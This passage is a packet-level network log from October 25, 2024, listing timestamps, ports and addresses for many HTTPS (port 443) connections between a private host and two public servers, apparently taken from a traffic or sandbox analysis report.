Oct 25, 2024 10:18:53.441803932 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.442569017 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.442626953 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.442637920 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.442810059 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.442861080 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.596756935 CEST	49789	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:53.596846104 CEST	443	49789	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:53.602335930 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.602381945 CEST	443	49798	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.602631092 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.603183031 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.603204966 CEST	443	49798	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.699918032 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.700403929 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.700412035 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.701879025 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.702089071 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.702095032 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.702228069 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.703521967 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.703645945 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.703982115 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.747239113 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.747251034 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.796278000 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.844105005 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.844141960 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.844197035 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.844204903 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.844238043 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.844248056 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.845572948 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.845686913 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.848632097 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.848644018 CEST	443	49794	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:53.848690033 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:53.848690033 CEST	49794	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.339236021 CEST	443	49798	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:54.339907885 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.339924097 CEST	443	49798	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:54.341001987 CEST	443	49798	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:54.341155052 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.341167927 CEST	443	49798	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:54.341326952 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.341486931 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.341535091 CEST	443	49798	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:54.341703892 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.341711998 CEST	443	49798	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:54.473539114 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.478353977 CEST	443	49798	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:54.478416920 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.479089975 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.479131937 CEST	443	49798	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:54.479228020 CEST	49798	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.633336067 CEST	49802	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.633366108 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:54.633426905 CEST	49802	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.633769989 CEST	49802	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:54.633778095 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.083477974 CEST	49803	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:55.083503962 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:55.083585024 CEST	49803	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:55.083868027 CEST	49803	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:55.083879948 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:55.367670059 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.371743917 CEST	49802	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.371779919 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.372112036 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.374859095 CEST	49802	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.374931097 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.375356913 CEST	49802	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.419356108 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.514252901 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.514286041 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.514333963 CEST	49802	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.514349937 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.514408112 CEST	49802	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.515763998 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.515818119 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.515834093 CEST	49802	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.515857935 CEST	49802	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.530420065 CEST	49802	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.530446053 CEST	443	49802	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.531497955 CEST	49805	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.531538010 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.531604052 CEST	49805	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.532069921 CEST	49805	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.532083988 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.715558052 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.715600014 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.715765953 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.716104984 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:55.716114998 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:55.868302107 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:55.982863903 CEST	49803	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:55.982876062 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:55.984047890 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:55.984061003 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:55.984118938 CEST	49803	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:55.984127045 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:55.984415054 CEST	49803	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:55.985137939 CEST	49803	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:55.985196114 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:55.985405922 CEST	49803	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:55.985413074 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:56.075325012 CEST	49803	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:56.141136885 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:56.142530918 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:56.142599106 CEST	49803	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:56.265487909 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.330735922 CEST	49805	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.330754042 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.332223892 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.352186918 CEST	49805	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.352436066 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.361342907 CEST	49805	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.371644020 CEST	49803	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:56.371655941 CEST	443	49803	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:56.403338909 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.448152065 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.500473976 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.500508070 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.500559092 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.500611067 CEST	49805	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.500611067 CEST	49805	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.500653028 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.501831055 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.501882076 CEST	49805	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.505253077 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.505269051 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.506249905 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.506259918 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.506330013 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.506336927 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.506388903 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.508676052 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.508755922 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.509052992 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.509061098 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.563221931 CEST	49805	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.563258886 CEST	443	49805	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.582922935 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.647903919 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.647995949 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.649643898 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.649718046 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:56.649858952 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.661494017 CEST	49806	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:56.661525011 CEST	443	49806	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:57.480612993 CEST	49807	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:57.480643034 CEST	443	49807	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:57.480912924 CEST	49807	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:57.481185913 CEST	49807	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:57.481200933 CEST	443	49807	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:57.600394964 CEST	49811	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.600442886 CEST	443	49811	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:57.600531101 CEST	49811	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.600879908 CEST	49811	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.600903988 CEST	443	49811	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:57.814769983 CEST	49815	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:57.814806938 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:57.814902067 CEST	49815	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:57.815076113 CEST	49815	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:57.815087080 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:57.893048048 CEST	49816	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.893071890 CEST	443	49816	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:57.893328905 CEST	49816	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.898221970 CEST	49816	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.898235083 CEST	443	49816	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:57.931582928 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.931603909 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:57.932039022 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.932320118 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.932327986 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:57.939024925 CEST	49819	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:57.939074039 CEST	443	49819	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:57.939465046 CEST	49819	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:57.939892054 CEST	49819	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:57.939903975 CEST	443	49819	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:57.964359045 CEST	49820	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.964380980 CEST	443	49820	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:57.964651108 CEST	49820	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.965610981 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.965640068 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:57.965842009 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.966353893 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.966366053 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:57.966540098 CEST	49820	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:57.966552019 CEST	443	49820	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.212724924 CEST	443	49807	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.213481903 CEST	49807	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.213499069 CEST	443	49807	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.213890076 CEST	443	49807	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.214349031 CEST	49807	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.214425087 CEST	443	49807	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.214632034 CEST	49807	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.214706898 CEST	443	49807	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.334867954 CEST	443	49811	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.351145983 CEST	443	49807	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.351393938 CEST	49807	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.353125095 CEST	443	49807	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.353193998 CEST	443	49807	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.353307962 CEST	49807	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.355273008 CEST	49807	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.355285883 CEST	443	49807	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.355844975 CEST	49811	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.355861902 CEST	443	49811	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.357079029 CEST	443	49811	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.357965946 CEST	49811	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.358143091 CEST	443	49811	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.358690023 CEST	49822	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.358716965 CEST	443	49822	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.359164953 CEST	49811	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.359205008 CEST	49822	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.359222889 CEST	443	49811	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.359489918 CEST	49822	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.359498978 CEST	443	49822	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.547456980 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.580336094 CEST	443	49811	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.581931114 CEST	443	49811	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.582228899 CEST	49811	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.585725069 CEST	49815	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.585796118 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.586313963 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.592639923 CEST	49815	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.592742920 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.634999037 CEST	443	49816	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.680783987 CEST	443	49819	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.689169884 CEST	49815	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.689285994 CEST	49816	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.706916094 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.709825993 CEST	443	49820	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.715975046 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.780937910 CEST	49820	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.780982971 CEST	49819	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.807236910 CEST	49811	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.807256937 CEST	443	49811	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.808516026 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.808551073 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.808664083 CEST	49820	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.808669090 CEST	443	49820	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.808823109 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.808832884 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.809015989 CEST	49819	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.809020996 CEST	443	49819	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.809448004 CEST	443	49819	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.809706926 CEST	49816	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.809711933 CEST	443	49816	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.809787989 CEST	443	49820	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.809798956 CEST	443	49820	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.809838057 CEST	49820	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.809845924 CEST	443	49820	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.809860945 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.809879065 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.809919119 CEST	49820	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.809988976 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.810086966 CEST	443	49816	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.810141087 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.810159922 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.810185909 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.811830997 CEST	49815	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.812119007 CEST	49819	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.812194109 CEST	443	49819	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.812972069 CEST	49820	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.813031912 CEST	443	49820	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.813391924 CEST	49816	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.813446999 CEST	443	49816	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.814244986 CEST	49819	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.814327002 CEST	49819	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.814343929 CEST	443	49819	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.814400911 CEST	49819	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.814409971 CEST	443	49819	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.814503908 CEST	49820	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.814512968 CEST	443	49820	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.814570904 CEST	49816	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.830291986 CEST	49824	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.830315113 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.830404043 CEST	49824	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.830596924 CEST	49824	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.830605030 CEST	443	49824	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.859318972 CEST	443	49816	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.859338999 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.867070913 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.867090940 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.867125988 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.867146015 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.867502928 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.867595911 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.867698908 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.867780924 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.868186951 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.868186951 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.868201017 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.868216991 CEST	443	49818	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.868242979 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.868247032 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.868268013 CEST	49818	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.868268967 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.868292093 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.915328979 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.949280977 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.949290991 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.949312925 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.949337006 CEST	49815	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.949342966 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.949376106 CEST	49815	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.950510025 CEST	49815	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.950535059 CEST	443	49815	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.950611115 CEST	49815	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.951426983 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.951457977 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.951533079 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.952380896 CEST	49825	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:18:58.952406883 CEST	443	49825	52.108.8.12	192.168.2.6
Oct 25, 2024 10:18:58.960525990 CEST	443	49820	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.960582972 CEST	49820	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.960994959 CEST	49820	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.961005926 CEST	443	49820	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.962447882 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.962464094 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.962536097 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.962754965 CEST	49826	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.962763071 CEST	443	49826	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.963784933 CEST	443	49816	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.965158939 CEST	443	49816	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:58.965208054 CEST	49816	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.965471029 CEST	49816	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:58.965486050 CEST	443	49816	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.013586998 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.013603926 CEST	443	49821	52.108.9.12	192.168.2.6
Oct 25, 2024 10:18:59.013654947 CEST	49821	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:18:59.013664961 CEST	443	49821	52.108.9.12	192.168.2.6
